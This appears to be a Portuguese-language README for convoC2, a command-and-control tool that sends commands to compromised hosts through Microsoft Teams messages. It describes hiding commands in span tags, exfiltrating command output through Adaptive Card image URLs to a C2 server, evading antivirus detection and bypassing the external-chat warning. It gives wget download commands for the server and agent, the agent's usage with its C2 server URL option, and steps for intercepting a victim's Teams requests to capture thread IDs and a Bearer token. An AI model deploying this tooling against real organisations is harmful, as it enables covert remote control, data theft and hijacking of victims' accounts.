
Infraestrutura de C2 sobre o Microsoft Teams.
Infraestrutura de Command and Control que permite a Red Teamers executar comandos de sistema em hosts comprometidos através do Microsoft Teams.
Ela infiltra dados em tags span ocultas nas mensagens do Microsoft Teams e exfiltra as saídas dos comandos em URLs de imagens de Adaptive Cards, disparando requisições out-of-bound para um servidor C2.
A ausência de comunicação direta entre a vítima e o atacante, combinada com o fato de que a vítima apenas envia requisições http para servidores da Microsoft e de que os antivírus não inspecionam os arquivos de log do MS Teams, torna a detecção mais difícil.

O vídeo a seguir demonstra o uso do servidor para controlar dois hosts comprometidos: um executando o novo Teams no Windows 11 e o outro executando o Teams antigo no Windows 10. No primeiro caso, o atacante não está na mesma organização que a vítima.
https://github.com/user-attachments/assets/d9fcccc1-de73-49cd-aaa7-df53303dbc6a
Nota: No primeiro caso a vítima já havia aceitado o chat com o atacante externo, mas em um cenário real em que o atacante inicia o chat com a vítima pela primeira vez, a vítima precisaria confirmar o chat com o atacante (embora essa mensagem de alerta possa ser facilmente contornada, veja aqui). Isso não é um problema: como as mensagens são armazenadas em cache no arquivo de log de qualquer forma, os comandos são recebidos e executados mesmo que a vítima ainda não tenha visualizado ou aceitado o chat.
Servidor
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_server_amd64.tar.gz
tar -xzvf convoC2_server_amd64.tar.gz --one-top-level
root@convoC2-server-VPS:~# ./convoC2_server_amd64 -h
Usage of convoC2 server:
-t, --msgTimeout How much to wait for command output (default 30 s)
-b, --bindIp Bind IP address (default 0.0.0.0)
Agente
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_agent.tar.gz
tar -xzvf convoC2_agent.tar.gz --one-top-level
C:\Windows>convoC2_agent.exe -h
Usage of convoC2 agent:
-v, --verbose Verbose logging (default false)
-s, --server C2 server URL (i.e. http://10.11.12.13/)
-t, --timeout Teams log file polling timeout [s] (default 1)
-w, --webhook Teams Webhook POST URL
-r, --regex Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")
Para que funcione, será necessário configurar algumas coisas:

https://teams.microsoft.com/api/chatsvc/emea/v1/threads com os ids únicos da vítima e do atacante no corpo. Na resposta, o threadId será retornado no caminho da url do cabeçalho Location.
O Bearer token da mesma requisição é usado para autenticar em https://teams.microsoft.com/api/chatsvc/emea/v1/users/ME/conversations/<threadId>/messages, que é o endpoint para envio de mensagens. Portanto, basta capturar estas três coisas e o servidor tratará do resto.Após iniciar o servidor, pode receber novos agentes e controlá-los, utilizando os dados previamente obtidos para autenticação. Consulte a demonstração para um exemplo de utilização.
Antes de mais, será necessário criar um canal do Teams.

Clique com o botão direito nos três pontos e, em seguida, clique em "Workflows".

Na barra de pesquisa, escreva "Webhook" e clique em "Post to a channel when a webhook request is received".

Continue com as configurações predefinidas e, por fim, copie o url.

Comece por procurar a vítima.

Após selecionar a conta da vítima, com o proxy web a intercetar as requisições, pode enviar uma mensagem de teste.

Guarde os dois ids presentes na requisição api/chatsvc/emea/v1/threads e depois DROP a requisição. O auth token será o Bearer token da mesma requisição.
